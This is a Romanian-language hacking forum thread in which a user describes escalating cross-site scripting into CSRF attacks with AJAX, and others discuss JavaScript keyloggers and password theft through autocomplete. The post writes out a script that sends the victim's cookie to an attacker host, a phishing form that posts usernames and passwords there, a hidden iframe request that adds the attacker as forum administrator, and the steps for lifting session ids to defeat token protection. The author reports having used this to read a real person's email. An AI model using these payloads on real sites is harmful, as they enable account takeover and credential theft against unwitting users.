Jump to content
moubik

din XSS in CSRF prin ajax.

Recommended Posts

Posted

din pacate mi-a picat vineri websecurity.ro unde aveam un proof of concept care arata cum sa citesti mailul unei persoane pornind doar de la un XSS.

desi ei nu salveaza permanent cookies si salveaza doar cookie, de sesiune se poate face asta.

incerc sa explic cat mai pe larg.

Pornind de la un XSS cam ce poti face ?

1. poti sa introduci cod de genul:

<script>document.location='http://hacker.site.com/grabber.php?c='+document.cookie</script>

Cod care fura un cookie al persoanei logate. Bineinteles exista metode de ascundere a acestui request (iframe, frameset), pe care nu le voi explica acum.

2. poti sa faci deface xss la site:

<script>document.write('<h1>You have been hacked by RST</h1>')</script>

Care, in functie de tipul XSS-ului permanent (daca postezi codul si ramane in pagina) sau temporar (daca dai cuiva linkul si acesta il click-uieste) are efecte mai mult sau mai putin spectaculoase.

-variatiune pe aceasta idee:

ca tehnica de phishing scrii in site, in loc de 'hacked by ...' formular de logare care sa semene cat mai mult cu formularul site-ului. deci sa para cat mai adevarat.

dar in loc de a face POST/GET catre login-ul lor, face POST/GET catre http://hacker.site.com/grabber.php?user=[userul introdus]&pass=[parola introdusa]

3. saptamana trecuta mi-am dat seama ca pot sa ma joc chiar mai mult.

si am incercat sa introduc ajax.

da, ajax. pot sa introduc ajax si astfel sa fac request-uri in numele userului care a accesat link-ul cu XSS in el.

ce poate face acest ajax ?

-pai cum spuneam mai sus. poate citi informatii de pe o pagina, repet, in numele userului logat, si poate returna aceste informatii pe site-ul hackerului.

eu facusem sa citeasca primul mail al persoanei logate pe home.ro (cativa membrii rst au vazut exploit-ul in actiune)

-poate extinde tehnica de phishing delogand userul inainte de a-i cere sa se relogheze in site.

-poate trece de protectii CSRF.

Probabil ca multi nu stiu cum se face protectie CSRF.

Sa spun cum se exploateaza CSRF-ul inainte.

avem un forum. si la acest forum daca un admin creaza un nou admin pentru site, intr-un final ajunge la un link de genul:

http://forum.com/addadmin.php?user=rstuser

In acest script php se verifica daca exista userul "rstuser" si dupa aceea i se atribuie permisiuni de administrator.

Cum se poate expoata acest bug ? (ca este un bug :) )

Eu sunt user pe acel forum si pacalesc adminul sa intre pe link-ul

http://forum.com/addadmin.php?user=moubik

in acel moment eu am fost adaugat ca administrator. precizez, acest request poate fi ascuns intr-un site in genul:

<iframe src="http://forum.com/addadmin.php?user=moubik" height="0" width="0" border="0" frameborder="0"></iframe>

Cum se protejeaza oamenii de CSRF ?

o tehnica este sa se creeze un id unic ce va fi trimis o data cu requestul de adaugare administrator.

exemplu

<form action="addadmin.php" method="GET">

<input type="text" name="user">

<input type="hidden" name="sid" value="aici se pune sessioid">

</form>

formularul se genereaza automat la fiecare afisare de pagina si la value se pune $_COOKIE['PHPSESSID']

astfel atunci cand adminul chiar vrea sa adauge pe cineva ca administrator, link-ul va fi in genul:

http://forum.com/addadmin.php?user=rstuser&sid=1234567890

mai departe, inainte de a se face adaugarea user-ului ca administrator se face o verificare in php de genul:

if ($_GET['sid'] != $_COOKIE['PHPSESSID'])

{

echo "You are a hacker, please leave!";

}

else

{

// se adauga user-ul ca administrator

}

cum poate tehnica aceasta sa treaca de modul de protejare CSRF tocmai prezentat ?

pai cum ziceam, pot sa extrag informatii in numele user-ului pe care il atac.

pasii scriptului sunt in genul:

1. iau o pagina care stiu ca o sa contina sessionid (daca va uitati pe forumurile phpbb o sa vedeti ca aproape orice pagina contine aceasta informatie)

2. extrag variabila ce ma intereseaza pe mine

3. creez linkul, care de data aceasta va fi valid. repet linkul acum valid, si care trece de protectia csrf arata asa:

http://forum.com/addadmin.php?user=moubik&sid=1234567890

dar acum user-ul trimis va fi al hacker-ului.

4. tot cu ajax pot sa fac request-ul.

si astfel dintr-un singur foc, se poate face toata aceasta chestie.

trebuie sa programezi pentru fiecare pagina cod propriu, pentru ca trebuie extrase informatiile, parsate, si creat link-ul final ce va fi executat.

bineinteles in javascript

-ce mai poate face aceasta tehnica ?

pai (ideea este a lui x.o) keylogger in ajax :) (bineinteles numai in acea pagina)

-am incercat, dar deocamdata nu am reusit sa gasesc un site vulnerabil la acest lucru. sa va spun la ce m-am mai gandit.

browserele fac autocomplete.

request-ul ajax poate face delogarea userului, si dupa aceea sa scrie in pagina form-ularul de login. cu unele browsere cu anumite optiuni :) fac acest lucru, ajax-ul ar putea sa extraga informatia din form-urile de login, chiar fara sa dea submit/login user-ul

nu sariti pe mine, daca tehnica aceasta au mai folosit-o 1milion de oameni inaintea mea. eu am descoperit-o si am analizat-o singur.

cum vi se pare ?

Guest Nemessis
Posted

Keyloggerele facute in javascript au succes 100% doar pe firefox. Cel putin asta am vazut eu din POCs existente

Posted

mi-am dat seama ca pentru keylogger in ajax o sa ai probleme la cross-domain requests.

am incercat sa fac pentru youtube un poc care sa delogheze user-ul, si dupa aceea sa scrie formular de login si sa obtina parola din autocomplete.

dar nu-mi facea iexplore autocomplete decat dupa ce scriam user-ul.

am incercat cu ie6

Posted

moubik:

1) s-ar putea sa nu fiu prea coerent acuma de la oboseala.

2) ai incercat sa faci focus pe campul username sa vezi daca nu cumva se completeaza singur?

3) protectia impotriva CSRF nu e mai corect sa se faca cu $_SESSION si nu cu $_COOKIE?

Posted
moubik:

1) s-ar putea sa nu fiu prea coerent acuma de la oboseala.

2) ai incercat sa faci focus pe campul username sa vezi daca nu cumva se completeaza singur?

3) protectia impotriva CSRF nu e mai corect sa se faca cu $_SESSION si nu cu $_COOKIE?

1) nu stiu

2) da, am incercat. tot trebuie sa faca autocomplete de la ceva, si nu merge.

3) $_SESSION[] identifica variabilele salvate pe server, dar $_COOKIE['PHPSESSID'] spune serverului ce set de variabile sa foloseasca din ce are salvat.

Guest Nemessis
Posted
mi-am dat seama ca pentru keylogger in ajax o sa ai probleme la cross-domain requests.

Aceeasi problema o vei intalni si la xssshell.

Posted

@moubik:

voiam sa zic.......daca-ti fura cookie-ul nu mai tine protectia........pe de alta parte daca ti-a furat cookie-ul intra direct in contul tau si nu mai are de ce sa faca CSRF....

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...